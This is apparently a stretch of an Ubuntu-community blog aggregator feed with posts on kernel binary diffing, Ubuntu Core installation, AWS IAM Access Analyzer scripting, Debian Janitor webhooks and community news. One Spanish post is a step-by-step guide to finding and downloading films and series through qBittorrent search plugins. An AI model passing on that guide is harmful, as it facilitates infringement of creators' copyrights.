$ cp $OUT/drivers/scsi/megaraid/*.o $OUT/after/

And then run diffoscope:

$ diffoscope $OUT/before/ $OUT/after/

If diffoscope output reports nothing, then we’re done. 🥳

Usually, though, when source lines move around other stuff will shift too (e.g. WARN macros rely on line numbers, so the bug table may change contents a bit, etc), and diffoscope output will look noisy. To examine just the executable code, the command that diffoscope used is reported in the output, and we can run it directly, but with possibly shifted line numbers not reported. i.e. running objdump without --line-numbers:

$ ARGS="--disassemble --demangle --reloc --no-show-raw-insn --section=.text"
$ for i in $(cd $OUT/before && echo *.o); do
        echo $i
        diff -u <(objdump $ARGS $OUT/before/$i | sed "0,/^Disassembly/d") \
                <(objdump $ARGS $OUT/after/$i  | sed "0,/^Disassembly/d")
done

If I see an unexpected difference, for example:

-    c120:      movq   $0x0,0x800(%rbx)
+    c120:      movq   $0x0,0x7f8(%rbx)

Then I'll search for the pattern with line numbers added to the objdump output:

$ vi <(objdump --line-numbers $ARGS $OUT/after/megaraid_sas_fp.o)

I'd search for "0x0,0x7f8", find the source file and line number above it, open that source file at that position, and look to see where something was being miscalculated:

$ vi drivers/scsi/megaraid/megaraid_sas_fp.c +329

Once tracked down, I'd start over at the "patch and build a modified target" step above, repeating until there were no differences. For example, in the starting example, I'd also need to make this change:

-    size_t bytes = sizeof(*instance) + sizeof(u32) * (count - 1);
+    size_t bytes = sizeof(*instance) + sizeof(u32) * count;

Though, as hinted earlier, better yet would be:

-    size_t bytes = sizeof(*instance) + sizeof(u32) * (count - 1);
+    size_t bytes = struct_size(instance, data, count);

But sometimes adding the helper usage will add binary output differences since they're performing overflow checking that might saturate at SIZE_MAX. To help with patch clarity, those changes can be done separately from fixing the array declaration.

© 2022 - 2023, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 License.
CC BY-SA 4.0

]]> Kees Cook How much does my flight sponsor Vladimir? http://blog.markvdb.be/2022/04/how-much-does-my-flight-sponsor-vladimir.html http://blog.markvdb.be/2022/04/how-much-does-my-flight-sponsor-vladimir.html Thu, 07 Apr 2022 15:20:00 GMT  I regularly fly between Belgium and my second home country Latvia. How much am I sponsoring Vladimir when doing that? About 25€. Back of the envelope calculation.

  • CRL - RIX return = 330 kg CO2 (source)
  • 1 l jet fuel a1 = 2.52 kg CO2 (source)
  • 1 l jet fuel = 0.85€ (source, some currency and SI conversion required)
  • refinery and distribution margin ~ 15% (conservative ballpark guesstimate based upon price/barrel for crude and jet a1 fuel)
  • percentage of Russian crude in EU: 27% (source)
  • (330/2.52)*.85*.85*.27 = 25.55€

P.S. More source countries have "interesting" policies. For example. 8% of EU imports are from Saudi Arabia.

P.P.S. Our upcoming holiday will be by night train. Exciting!

]]> Mark Van den Borre All-remote workspace at home https://svij.org/blog/2021/12/05/all-remote-workspace-at-home/ https://svij.org/blog/2021/12/05/all-remote-workspace-at-home/ Sun, 05 Dec 2021 15:10:00 GMT It’s been a little over 1,5 years since I joined GitLab as my first all remote company. About half a year ago, I wrote about what I learned in one year at GitLab. In this blog post I will describe my setup how I work because I got several questions about it over the last time. I can also blame dnsmichi who published a similar post about his setup ;-).

I can certainly recommend the page about “Considerations for a Productive Home Office or Remote Workspace“ in the GitLab Handbook about All-Remote.

The Desk

Even long before I worked from home full time I bought a standing desk. I own a IKEA Bekant which only has a “up” and “down” button which is a bit annoying since I always have to hold the button when I want to move the desk up or down. Back in 2017 I’ve written a blog post about my experiences with it in German.

It’s also always good to have some sort of cable management hidden underneath the desktop. Otherwise, your legs will always touch the cables, and it will look ugly.

As part of the desk, I do have three (or should I say four?) arms mounted. One for my 32” 4K Samsung Screen, one for my Notebook-Stand, one for my microphone and an additional cheap „magic arm“ for my Canon EOS 700D which I use as a Webcam.

The Screen

As mentioned above, I’m using a 32" Samsung 4K display. A lot of folks I know are using ultra-widescreen monitors, which I personally do not like that much because they most likely have a smaller resolution. I rather prefer to use a 4K screen without scaling so that I have more space available for my windows.

I used to have a 28" 4K screen, which was a bit small when you want to use it without (much) scaling. Moving forward I hope I will not need to scale it though. For now, my glasses are a good “bugfix” for my eyes, so I can work without scaling on the system side.

The Laptop and The Dockingstation

I used to have Thinkpads in the past, but I recently switched to Dell XPS. I have two Dell XPS 13. One for work (in white) and one private (in black).

While I personally prefer to run ArchLinux (btw I use Arch!) I’m running the latest Ubuntu LTS on my work laptop.

The laptop is connected to a CalDigit TS3-Plus which is my docking station. This was one of the few docking station which supported 4K@60Hz back when I bought this. I would prefer a docking station with more USB-ports. Right now I have another USB-Hub (hidden under the desktop) because the ports provided by most of the docking stations out there are not really enough for me.

Audio and Video

As already mentioned above, I use my Canon EOS 700D as my webcam. I’ll mostly use an 18-55mm lens. The camera is connected to an elgato Cam Link 4k. The biggest downside of this setup currently is that the format is not perfect, as the HDMI-output has two black bars on the left and right side of the video.

I try to keep my background as boring as possible, that’s why all of you will mostly only see my yellow wall behind me.

As a microphone, I use an M-Audio Uber-Mic. It’s being used in meetings and also for my (German) podcast TILpod which I record remotely with Dirk Deimeke. For listening in meetings and also for videos/music, I’m using my Sony WH-1000X3.

Lighting

I do not have a perfect lighting solution yet. I do have a small desk light which is okay for the desk itself but not for video calls. The main light in my office is an IKEA Floalt which can be dimmed.

What else is on the desk?

  • Stream Deck, mostly for changing audio settings
  • a mechanical keyboard (HyperX with brown Cherry MX switches)
  • a boring Logitech mouse
  • a big mouse pad
  • a wrist rest pad
  • some old Logitech speaker
  • a Brother printer/scanner
  • a YubiKey 5 NFC
  • a few (water) bottles

What do I use for on the go?

I didn’t really travel that much for obvious reasons. However, I do have these items as well:

  • a no-name 8-in-1 Hub with multiple USB-Ports, HDMI, microSD and SD and USB-C Power Delivery.
  • a cheap no-name clip-on micrphone because the Laptop-internal microphone are mostly crappy anyway
  • a LAN cable just in case
  • a USB-C cable
  • my Sony WH-1000X3
]]> Sujeevan Vijayakumaran Impish Indri Ubuntu-fr t-shirt https://people.ubuntu.com/~olivier.fraysse/index.xml#of202110202210 https://people.ubuntu.com/~olivier.fraysse/index.xml#of202110202210 Wed, 20 Oct 2021 22:10:00 GMT Ocelot did it again! The French speaking Ubuntu community is happy to present you his splendid Impish Indri t-shirt. :) You can buy it before the end of October for €15 (+ shipping costs) and receive it at the end of November 2021. You can try to buy it later but it will be more expensive and you will not have any garanty of stock.

]]> Olivier Fraysse Installing Ubuntu Core onto 64-bit Bare Metal http://cheesehead-techblog.blogspot.com/2021/10/installing-ubuntu-core-onto-64-bit-bare.html http://cheesehead-techblog.blogspot.com/2021/10/installing-ubuntu-core-onto-64-bit-bare.html Thu, 07 Oct 2021 21:29:00 GMT

I have a re-purposed AMD64 laptop motherboard, ready to become an experimental Ubuntu Core server.

It's in fine condition. You can see that it boots an Ubuntu LiveUSB's "Try Ubuntu" environment just fine. Attached to the motherboard is a new 60GB SSD for testing. The real server will use a 1TB HDD.

But Ubuntu Core doesn't install on bare metal from a Live USB. It's still easy, though.

1. Boot a "Try Ubuntu" Environment on the target system.

  • Test your network connection. The picture shows a wireless connection. This particular laptop has a wireless chip that is recognized out-of-the box, so I didn't need to get out the long network cable.
  • Test that your storage device works. You can see in the picture that Gnome Disks can see the storage device.

2. Terminal: sudo fdisk -l. Locate the storage device that you want to install Ubuntu Core onto.

  • The entire storage device will be erased.
  • My storage device is at /dev/sda today. It might be different next boot. Yours might be different.

3. Open the web browser and download Ubuntu Core.

4. Write Ubuntu Core to the storage device.

  • Warning: This command will erase your entire storage device. If there is anything valuable on your storage device, then you have skipped too many steps!
    xzcat Downloads/<.img.xz file> | sudo dd of=/dev/<target_storage_device> bs=32M status=progress; sync
  • So mine was
    xzcat Downloads/ubuntu-core-20-amd64.img.xz | sudo dd of=/dev/sda bs=32M status=progress; sync
  • Source: https://ubuntu.com/download/intel-nuc

5. Reboot into Ubuntu Core.

  • When prompted by the "Try Ubuntu" environment, remove the LiveUSB so you are booting from your newly-written storage device.
  • Be patient. My first boot into Ubuntu Core led to a black screen for nearly a minute before the system acknowledged that it actually has been working the entire time.
  • After 3-4 minutes of non-interactive setup alternating between blank screens and scrolling setup output, Ubuntu Core finally asked me two questions:  Which network to connect to, and my Ubuntu SSO e-mail address.
  • Finally, the system rebooted again. This time it didn't ask any question - just displayed the new Ubuntu Core system's IP address.

6. Log into Ubuntu Core.

    On my Desktop:
    me@Desktop:~$ ssh me@192.168.1.x
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
Success: A working Ubuntu Core on bare metal.]]> Ian Weisser Web Hooks for the Janitor https://www.jelmer.uk/janitor-webhooks.html https://www.jelmer.uk/janitor-webhooks.html Mon, 06 Sep 2021 20:00:00 GMT The Debian Janitor is an automated system that commits fixes for (minor) issues in Debian packages that can be fixed by software. It gradually started proposing merges in early December. The first set of changes sent out ran lintian-brush on sid packages maintained in Git. This post is part of a series about the progress of the Janitor.

As covered in my post from last week, the Janitor now regularly tries to import new upstream git snapshots or upstream releases into packages in Sid.

Moving parts

There are about 30,000 packages in sid, and it usually takes a couple of weeks for the janitor to cycle through all of them. Generally speaking, there are up to three moving targets for each package:

  • The packaging repository; vcswatch regularly scans this for changes, and notifies the janitor when a repository has changed. For salsa repositories it is instantly notified through a web hook
  • The upstream release tarballs; the QA watch service regularly polls these, and the janitor scans for changes in the UDD tables with watch data (used for fresh-releases)
  • The upstream repository; there is no service in Debian that watches this at the moment (used for fresh-snapshots)

When the janitor notices that one of these three targets has changed, it prioritizes processing of a package - this means that a push to a packaging repository on salsa usually leads to a build being kicked off within 10 minutes. New upstream releases are usually noticed by QA watch within a day or so and then lead to a build. Now commits in upstream repositories don’t get noticed today.

Note that there are no guarantees; the scheduler tries to be clever and not e.g. rebuild the same package over and over again if it’s constantly changing and takes a long time to build.

Packages without priority are processed with a scoring system that takes into account perceived value (based on e.g. popcon), cost (based on wall-time duration of previous builds) and likelihood of success (whether recent builds were successful, and how frequently the repositories involved change).

webhooks for upstream repositories

At the moment there is no service in Debian (yet - perhaps this is something that vcswatch or a sibling service could also do?) that scans upstream repositories for changes.

However, if you maintain an upstream package, you can use a webhook to notify the janitor that commits have been made to your repository, and it will create a new package in fresh-snapshots. Webhooks from the following hosting site software are currently supported:

You can simply use the URL https://janitor.debian.net/ as the target for hooks. There is no need to specify a secret, and the hook can either use a JSON or form encoding payload.

The endpoint should tell you whether it understood a webhook request, and whether it took any action. It’s fine to submit webhooks for repositories that the janitor does not (yet) know about.

GitHub

For GitHub, you can do so in the Webhooks section of the Settings tab. Fill the form as shown below and click on Add webhook:

GitLab

On GitLab instances, you can find the Webhooks tab under the Settings menu for each repository (under the gear symbol). Fill the form in as shown below and click Add Webhook:

Launchpad

For Launchpad, go to the repository (for Git) web view and click Manage Webhooks. From there, you can add a new webhook; fill the form in as shown below and click Add Webhook:

]]> Jelmer Vernooij My first six months at the Ubuntu Community Council https://torstenfranz.wordpress.com/2021/04/25/my-first-six-months-at-the-ubuntu-community-council/ https://torstenfranz.wordpress.com/2021/04/25/my-first-six-months-at-the-ubuntu-community-council/ Sun, 25 Apr 2021 15:30:00 GMT Six months ago I was elected to the Ubuntu Community Council. After the first month, I wrote a text about how I experienced the first month. Time flies and now six months have already passed.

In the first few months we have been able to fill some of the councils and boards that needed to be refilled in the community. But even where this has not been possible, we have initiated new ways to ensure that we move forward on the issues. One example is the LoCo Council, which could not be filled again, but we found people who were given the task of rethinking this council and proposing new structures. This process of evaluating and rethinking this area will take some time.

There are some issues that we have on the agenda at the moment. Some of these are general issues related to the community, but some affects individual members of the community or where there are problems.

For some topics, we quickly realised that it makes sense to have contact persons at Canonical who can advance these topics. We were very pleased to find Monica Ayhens-Madon and Rhys Davies, two employees at Canonical, who support us in bringing topics into the organisation and also implement tasks. One consequence of this has been the reactivation of the Community Team at Canonical.

One topic that we have also come across, through the staffing of the board and the update of the benefits that you get as a member, is the Ubuntu Membership. At this point I would like to advertise the community and to show your community connection with Ubuntu through a membership. If you want to do this and know what benefits you are entitled to, you can read about it in the Ubuntu Wiki.

There are still enough construction sites, but structurally we are already on the right track again. Since the topics are dealt with in our free time and everyone on the Community Council has other things to do, topics sometimes drag on a bit. Sometimes I’m a bit impatient, but I’m getting better at it.

After six months, I can see that we as a Community Council have laid many building blocks and have already had some discussions where we have different approaches and thus also very different ideas. This is good for the community and leads to the different positions and opinions finding their way into the community.

You can read about our public meetings in the Community Hub. There is also the possibility, when we call for topics for our meetings, to bring in topics that we should look at in the Council, because this is important for the cooperation of the community.

If you want to get involved in discussions about the community, you can do so at the Community Hub. You can also send us an email to the mailing list community-council at lists.ubuntu.com if you have a community topic on your mind. If you want to contact me: you can do so by commenting, via Twitter or sending a mail to me: torsten.franz at ubuntu.com

]]> Torsten Franz ReText turns 10 years https://mitya57.me/weblog/2021/02/retext-turns-10-years.html https://mitya57.me/weblog/2021/02/retext-turns-10-years.html Sun, 21 Feb 2021 18:30:00 GMT Exactly ten years ago, in February 2011, the first commit in ReText git repository was made. It was just a single 364 lines Python file back then (now the project has more than 6000 lines of Python code).

Since 2011, the editor migrated from SourceForge to GitHub, gained a lot of new features, and — most importantly — now there is an active community around it, which includes both long-time contributors and newcomers who create their first issues or pull requests. I don’t always have enough time to reply to issues or implement new features myself, but the community members help me with this.

Earlier this month, I made a new release (7.2), which adds a side panel with directory tree (contributed by Xavier Gouchet), option to fully highlight wrapped lines (contributed by nihillum), ability to search in the preview mode and much more — see the release page on GitHub.

Side panel in ReText

Also a new version of PyMarkups module was released, which contains all the code for processing various markup languages. It now supports markdown-extensions.yaml files which allow specifying complex extensions options and adds initial support for MathJax 3.

Also check out the release notes for 7.1 which was not announced on this blog.

Future plans include making at least one more release this year, adding support for Qt 6. Qt 5 support will last for at least one more year.

]]> Dmitry Shachnev Open Letter to KDE GSoC Students We Could Not Accept http://linuxgrandma.blogspot.com/2020/05/open-letter-to-kde-gsoc-students-we.html http://linuxgrandma.blogspot.com/2020/05/open-letter-to-kde-gsoc-students-we.html Tue, 05 May 2020 20:38:00 GMT
Hello students,

 I no longer have access to your proposal or emails, thus the open letter on my blog.

 If you allowed commenting before the student proposal deadline, I along with other admins and mentors tried to help you improve your proposal. Some of you took the suggestions and sharpened your presentation, fleshed out your timeline and in general created a proposal you can be proud of.

 If you did not allow commenting or only uploaded your proposal right before the deadline, you missed out on this mentoring opportunity, and for that I am sorry. That cut us off from a vital communication link with you.

 This proposal process, along with fixing some bugs and creating some commits mean that you have real experience you can take with you into the future
. I hope you also learned how to use IRC/Matrix/Telegram channels to get information, and help others as well. Even if you do not continue your involvement with the KDE Community, we hope you will profit from these accomplishments, as we have.

 We hope that your experiences with the KDE community up to now make you want to continue to work with us, and become part of the community. Many students whom we were not able to accept previously were successfully accepted later. Some of those students now are mentoring and/or part of the administration team, which is, in our eyes, the zenith of GSoC success.

 Some of you we were unable to accept because we could not find suitable mentors. The GSoC team is asking us this year to have three mentors per student, because the world has become so uncertain in this pandemic time. So more developers who will mentor are a precious resource.

 Almost every single proposal we got this year is work we want and need, or we wouldn't have published "Ideas" to trigger those proposals. If you are interested in doing this work and do not need the funding and deadlines that GSoC provides, we would welcome working with you outside of GSoC. In fact, each year we have Season of KDE which provides some mentoring, structure and timeline and no funding. This has been very successful for most mentees. And of course all are welcome to join our worldwide army of volunteers, who code, fix bugs, triage bug reports, write, analyze, plan, administer, create graphics, art, promo copy, events, videos, tutorials, documentation, translation, internationalization, and more! It is the KDE community who makes the software, keeps it up-to-date, plans and hosts events, and engages in events planned and hosted by others.

 Please join the KDE-Community mail list and dig in! Hope to see you at KDE Akademy.

Oh hey, late update: I just learned today in #gsoc that I *do* have access to all the proposals -- and names and emails! So at the very least I will send a link to this open letter to all of our prospective students. Talk to you then. -v
]]> Valorie Zimmerman Como descargar y ver series o peliculas gratis en esta Cuarentena https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/ https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/ Sat, 11 Apr 2020 19:58:18 GMT En estos nuevos días en los que vivimos una situación muy fuera de lo común en el mundo quiero ayudar a aquellas personas que quieran entretenerse un poco con el Septimo arte.

No entraré en detalles técnicos de como funciona BitTorrent ni como es el manejo de derechos de autor, esto es absolutamente de su parte.

Me voy a enfocar en macOS, Windows y Linux, si quieren saber como funciona en su celular con Android o iOS/iPhone pueden buscar en internet otras alternativas.

1. Instalar el programa para descargar qBittorrent

qbittorrent-logo

Hay muchos y variados, pero este tiene lo necesario de forma sencilla.

Para Windows descargan el instalador haciendo clic aquí. Es un archivo normal de instalación, simplemente doble clic y acepten los valores por defecto.

Para macOS descarguen el archivo DMG haciendo clic aquí. Abran el archivo y en la ventana que aparece arrastren el icono de Bittorrent a la carpeta azul de Aplicaciones.

Para Linux, si estan en Ubuntu haciendo clic aquí podrán instalarlo con el Centro de Software o usando una terminal sudo apt install qbittorrent, si estan en otra distribución pueden usar el packete Flatpack disponible aquí.

Una vez instalado abran el programa qBittorrent, tendra una apariencia similar a esta. Esta esta ventana verán las descargas que realicen.

qbittorrent

La última version al momento de escribir esto es la v4.2.3.

2. Configurar el programa para buscar peliculas y series de muchas fuentes

Hay muchas partes de donde buscar peliculas o series. Para activar esto tenemos que seguir estos pasos dentro de qBittorrent:

  1. Activar la vista de búsqueda, no será posible buscar hasta no activar los plugins

    qbittorrent

  2. Ir a la pestaña Buscar y hacer clic en el botón Plugins de búsqueda

    qbittorrent

  3. En la ventana que aparece, seleccionar la opción Buscar actualizaciones, esto actualizará y activará los plugins, no tardara más que unos segundos. Luego de esto clic en Aceptar y en el botón Cerrar para volver a la pantalla principal.

    qbittorrent

3. Instalar un reproductor de videos, en este caso VLC

vlc-logo

Probablemente su computadores cuenten ya con algún reproductor de video, pero VLC permite reproducir muchos formatos de video y además tiene una funcionalidad excepcional para nuestro caso.

Para instalarlo solo sigan las siguientes indicaciones:

Windows: Descargan el instalador haciendo clic aquí. Es un archivo normal de instalación, simplemente doble clic y acepten los valores por defecto.

macOS: Descarguen el archivo DMG haciendo clic aquí. Abran el archivo y en la ventana que aparece arrastren el icono de VLC a la carpeta azul de Aplicaciones.

Linux: Si estan en Ubuntu haciendo clic aquí para instalarlo con el Centro de Software o usando una terminal sudo snap install vlc --channel=beta, si estan en otra distribución pueden usar el paquete Snap disponible aquí o Flatpack desde aquí.

Eso es todo! Estamos listos para descargar, ahora, ¿como lo hacemos?

4. Descargando y reproduciendo la pelicula o serie

Ya con todo listo tendremos que seguir los ¡siguientes pasos para descargar y reproducir la película o serie que queramos.

  1. Abrir qBittorrent, ir a la pestaña Buscar y luego en este ejemplo busque Night of the Living Dead, una pelicula de dominio público del año 1968.

    Consejo #1: Dado que salen muchos resultados organicen la vista en la sección Semillas para buscar las películas con más fuentes y que descargaran más rápido)

    qbittorrent

    Consejo # 2: Para buscar temporadas o episodios pueden añadir a la búsqueda la siguiente información, SAA y EBB. Donde AA se refiere al número de Temporada (Season) deseada y BB al número del Capítulo deseado. Ejemplo de busqueda: Game of Thrones S02 E04 buscará el Capítulo 04 de la Temporada 02 de Game of Thrones.

  2. Haciendo doble clic sobre el resultado que deseen descargar iniciará la misma, aparecerá una ventana similar a esta, pueden cambiar la ruta de la descarga

    qbittorrent

  3. La descarga empezará y podrán ver el progreso de la descarga

    qbittorrent

  4. Una vez terminada la descarga abran el archivo con VLC. Su película empezará!

    vlc-playing

  5. La mayoría de veces que descargamos películas de esta forma estarán en su idioma original, si queremos poner subtítulos podemos usar la función de VLC llamada VLSub, que busca, descarga y activa los subtítulos que queramos.

    Esto lo podemos encontrar en el siguiente menú dependiendo del Sistema Operativo:

    Windows/Linux: Ver -> VLsub

    vlc-vlsub-linux-windows

    macOS: VLC -> Extensiones -> VLsub

    vlc-vlsub-macos

    Y luego en la pantalla de VLsub buscar el subtítulo (Recomiendo la opción Search by Hash) y descargarlo. Automáticamente el subtítulo se aplicará a su video!

    vlc-vlsub

Y listo!

Haciendo un poco de reflexión, se que usar un servicio de streaming es mucho más comodo y que seguir los anteriores pasos puede ser tedioso, me parece mejor suscribirse a una alternativa de tantas, parte de este recaudo llegará a todos los involucrados en la realización de una serie (yo personalmente pago una suscripción). Hay varias alternativas como Netflix, Amazon Prime Video, Apple TV+, Disney Plus, HBO Go, etc.

Sin embargo, tambien he visto como las producciones empiezan a tener mucha exclusividad entre las plataformas, lo que hace difícil encontrar series o películas en el servicio que uno esta pagando, o que hayan otras prioridades en los gastos, por eso espero que este tutorial les sirva de ayuda.

Si tienen alguna duda, recomendación o problema no duden en escribir un comentario aca abajo o contactenme en mis redes sociales!

]]> Julian Alarcon Fingerprint Reader Support for Lenovo x390Y on Ubuntu http://blog.sergiusens.org/posts/fingerprint-reader-support-for-lenovo-x390y-on-ubuntu/ http://blog.sergiusens.org/posts/fingerprint-reader-support-for-lenovo-x390y-on-ubuntu/ Sat, 28 Mar 2020 22:38:02 GMT Sergio Schvezov Creating AWS IAM Access Analyzers In All Regions Of All Accounts https://alestic.com/2020/01/aws-iam-access-analyzer/ https://alestic.com/2020/01/aws-iam-access-analyzer/ Mon, 06 Jan 2020 08:01:00 GMT Amazon recently announced the AWS IAM Access Analyzer, a useful tool to help discover if you have granted unintended access to specific types of resources in your AWS account.

At the moment, an Access Analyzer needs to be created in each region of each account where you want to run it.

Since this manual requirement can be a lot of work, it is a common complaint from customers. Given that Amazon listens to customer feedback and since we currently have to specify a “type” of “ACCOUNT”, I expect at some point Amazon may make it easier to run Access Analyzer across all regions and maybe in all accounts in an AWS Organization. Until then…

This article shows how I created an AWS IAM Access Analyzer in all regions of all accounts in my AWS Organization using the aws-cli.

Prerequisites

To make this easy, I use the bash helper functions that I defined in last week’s blog post here:

Running AWS CLI Commands Across All Accounts In An AWS Organization

Please read the blog post to see what assumptions I make about the AWS Organization and account setup. You may need to tweak things if your setup differs from mine.

Here is my GitHub repo that makes it more convenient for me to install the bash functions. If your AWS account structure matches mine sufficiently, it might work for you, too:

https://github.com/alestic/aws-cli-multi-account-sessions

IAM Access Analyzer In All Regions Of Single Account

To start, let’s show how to create an IAM Access Analyzer in all regions of a single account.

Here’s a simple command to get all the regions in the current AWS account:

aws ec2 describe-regions \
  --output text \
  --query 'Regions[][RegionName]'

This command creates an IAM Access Analyzer in a specific region. We’ll tack on a UUID because that’s what Amazon does, though I suspect it’s not really necessary.

region=us-east-1
uuid=$(uuid -v4 -FSIV || echo "1") # may need to install "uuid" command
analyzer="accessanalyzer-$uuid"
aws accessanalyzer create-analyzer \
   --region "$region" \
   --analyzer-name "$analyzer" \
   --type ACCOUNT

By default, there is a limit of a single IAM Access Analyzer per account region. The fact that this is a “default limit” implies that it may be increased by request, but for this guide, we’ll just not create an IAM Access Analyzer if one already exists.

This command lists the name of any IAM Access Analyzers that might already have been created in a region:

region=us-east-1
aws accessanalyzer list-analyzers \
  --region "$region" \
  --output text \
  --query 'analyzers[][name]'

We can put the above together, iterating over the regions, checking to see if an IAM Access Analyzer already exists, and creating one if it doesn’t:

regions=$(aws ec2 describe-regions
–output text
–query ‘Regions[][RegionName]’ | sort)

for region in $regions; do
  analyzer=$(aws accessanalyzer list-analyzers \
    --region "$region" \
    --output text \
    --query 'analyzers[][name]')
  if [ -n "$analyzer" ]; then
    echo "$region: EXISTING: $analyzer"
  else
    uuid=$(uuid -v4 -FSIV || echo "1") # may need to install "uuid" command
    analyzer="accessanalyzer-$uuid"
    echo "$region: CREATING: $analyzer"
    aws accessanalyzer create-analyzer \
       --region "$region" \
       --analyzer-name "$analyzer" \
       --type ACCOUNT \
       > /dev/null # only show errors
  fi
done

Creating IAM Access Analyzers In All Regions Of All Accounts

Now let’s prepare to run the above in multiple accounts using the aws-cli-multi-account-sessions bash helper functions from last week’s article:

git clone git@github.com:alestic/aws-cli-multi-account-sessions.git
source aws-cli-multi-account-sessions/functions.sh

Specify the values for source_profile and mfa_serial from your aws-cli config file. You can leave the mfa_serial empty if you aren’t using MFA:

source_profile=your_aws_cli_source_profile
mfa_serial=arn:aws:iam::YOUR_ACCOUNT:mfa/YOUR_USER

Specify the role you can assume in all accounts:

role="admin" # Yours might be called "OrganizationAccountAccessRole"

Get a list of all accounts in the AWS Organization, and a list of all regions:

accounts=$(aws organizations list-accounts \
             --output text \
             --query 'Accounts[].[JoinedTimestamp,Status,Id,Email,Name]' |
           grep ACTIVE |
           sort |
           cut -f3) # just the ids

regions=$(aws ec2 describe-regions \
            --output text \
            --query 'Regions[][RegionName]' |
          sort)

Run this once to create temporary session credentials with MFA:

aws-session-init $source_profile $mfa_serial

Iterate through AWS accounts, running the necessary AWS CLI commands to create an AIM Access Analyzer in each account/role and each region:

for account in $accounts; do
  echo "Visiting account: $account"
  aws-session-set $account $role || continue

  for region in $regions; do
    # Run the aws-cli commands using the assume role credentials
    analyzers=$(aws-session-run \
                  aws accessanalyzer list-analyzers \
                    --region "$region" \
                    --output text \
                    --query 'analyzers[][name]')
    if [ -n "$analyzers" ]; then
      echo "$account/$region: EXISTING: $analyzers"
    else
      uuid=$(uuid -v4 -FSIV || echo "1")
      analyzer="accessanalyzer-$uuid"
      echo "$account/$region: CREATING: $analyzer"
      aws-session-run \
        aws accessanalyzer create-analyzer \
          --region "$region" \
          --analyzer-name "$analyzer" \
          --type ACCOUNT \
          > /dev/null # only show errors
    fi
  done
done

Clear out bash variables holding temporary AWS credentials:

aws-session-cleanup

In a bit, you can go to the AWS IAM Console and view what the Access Analyzers found.

Yep, you have to look at the Access Analyzer findings in each account and each region. Wouldn’t it be nice if we had some way to collect all this centrally? I think so, too, so I’m looking into what can be done there. Thoughts welcome in the comments below or on Twitter.

Cleanup

The following deletes all IAM Access Analyzers in all regions in the current account. You don’t need to do this if you want to leave the IAM Access Analyzers running, especially since there is no additional cost for keeping them.

# WARNING! DESTRUCTIVE!

source_profile=[as above]
mfa_serial=[as above]
role=[as above]

accounts=$(aws organizations list-accounts \
             --output text \
             --query 'Accounts[].[JoinedTimestamp,Status,Id,Email,Name]' |
           grep ACTIVE |
           sort |
           cut -f3) # just the ids

regions=$(aws ec2 describe-regions \
            --profile "$source_profile" \
            --output text \
            --query 'Regions[][RegionName]' |
          sort)

aws-session-init $source_profile $mfa_serial

for account in $accounts; do
  echo "Visiting account: $account"
  aws-session-set $account $role || continue

  for region in $regions; do
    # Run the aws-cli commands using the assume role credentials
    analyzers=$(aws-session-run \
                  aws accessanalyzer list-analyzers \
                    --region "$region" \
                    --output text \
                    --query 'analyzers[][name]')
    for analyzer in $analyzers; do
      echo "$account/$region: DELETING: $analyzer"
      aws-session-run \
        aws accessanalyzer delete-analyzer \
          --region "$region" \
          --analyzer-name "$analyzer"
    done
  done
done

aws-session-cleanup

Original article and comments: https://alestic.com/2020/01/aws-iam-access-analyzer/

]]> Eric Hammond Puberty https://rhonda.deb.at/blog/2019/12/28#puberty https://rhonda.deb.at/blog/2019/12/28#puberty Sat, 28 Dec 2019 22:22:00 GMT I was musing about writing about this publicly. For the first time in all these years of writing pretty personal stuff about my feelings, my way of becoming more honest with myself and a more authentic person through that I was thinking about letting you in on this is a good idea.

You see, people have used information from my personal blog in the past, and tried to use it against me. Needless to say they failed with it, and it only showed their true face. So why does it feel different this time?

Thing is, I'm in the midst of my second puberty, and the hormones are kicking in in complete hardcore mode. And it doesn't help at all that there is trans antagonist crap from the past and also from the present popping up left and right at a pace and a concentrated amount that is hard to swallow on its own without the puberty.

Yes, I used to be able to take those things with a much more stable state. But every. Single. Of. These. Issues is draining all the energy out of myself. And even though I'm aware that I'm not the only one trying to fix all of those, even though for some spots I'm the only one doing the work, it's easier said than done that I don't have to fix the world, when the areas involved mean the world to me. Are areas that support me in so many ways. Are places that I need. And on top of that, the hormones are multiplying the energy drain of those.

So ... I know it's not that common. I know you are not used to a grown up person to go through puberty. But for god's sake. Don't make it harder than it has to be. I know it's hard to deal with a 46 year old teenager, so to say, I'm just trying to survive in this world of systematic oppression of trans people.

It would be nice to go for a week without having to cry your eyes out because another hostile event happened that directly affects your existence. The existence of trans lives aren't a matter of different opinions or different points of view, so don't treat it like that, if you want me to believe that you are a person able of empathy and basic respect.

Sidenote: Finishing to write this at this year's #36c3 is quite interesting because of the conference title: Resource Exhaution. Oh the irony.

/personal | permanent link | Comments: 14 | Flattr this

]]> Rhonda D'Vine Managing dynamic inventory in private subnets using bastion jump box http://blog.diegoturcios.com/2019/11/managing-dynamic-inventory-in-private_56.html http://blog.diegoturcios.com/2019/11/managing-dynamic-inventory-in-private_56.html Tue, 19 Nov 2019 15:47:00 GMT Managing dynamic inventory in private subnets using bastion jump box
The title of post is quite large, but is something I encountered issues in the last weeks. I had a VPC in AWS, creating x amount of instances in a private network, and was quite complex to manage this instance using static inventory files. So I will explain you how to manage this problem with Ansible.
Before continue, I want to say these articles are really good and can help you with this issues.
So you will be asking, if these articles are so good, why are you writing them again? Easy, I’m doing this in Gitlab CI, and I suppose other CI will encounter similar issues. It’s not possible to connect to the instances using the instructions above.

First Step

We get our inventory in a dynamic way. For this we will use the inventory scripts.
We need to modify the ec2.ini file with uncommenting the vpc_destination_variable and set the value to private_ip_address
An example
# For server inside a VPC, using DNS names may not make sense. When an instance
# has 'subnet_id' set, this variable is used. If the subnet is public, setting
# this to 'ip_address' will return the public IP address. For instances in a
# private subnet, this should be set to 'private_ip_address', and Ansible must
# be run from within EC2. The key of an EC2 tag may optionally be used; however
# the boto instance variables hold precedence in the event of a collision.
# WARNING: - instances that are in the private vpc, _without_ public ip address
# will not be listed in the inventory until You set:
vpc_destination_variable = private_ip_address
#vpc_destination_variable = ip_address
Be sure to have your ansible.cfg, with the following line.
host_key_checking = False
This is useful, as we’re running this in a CI, we can’t hit enter to accept the connection in the terminal.
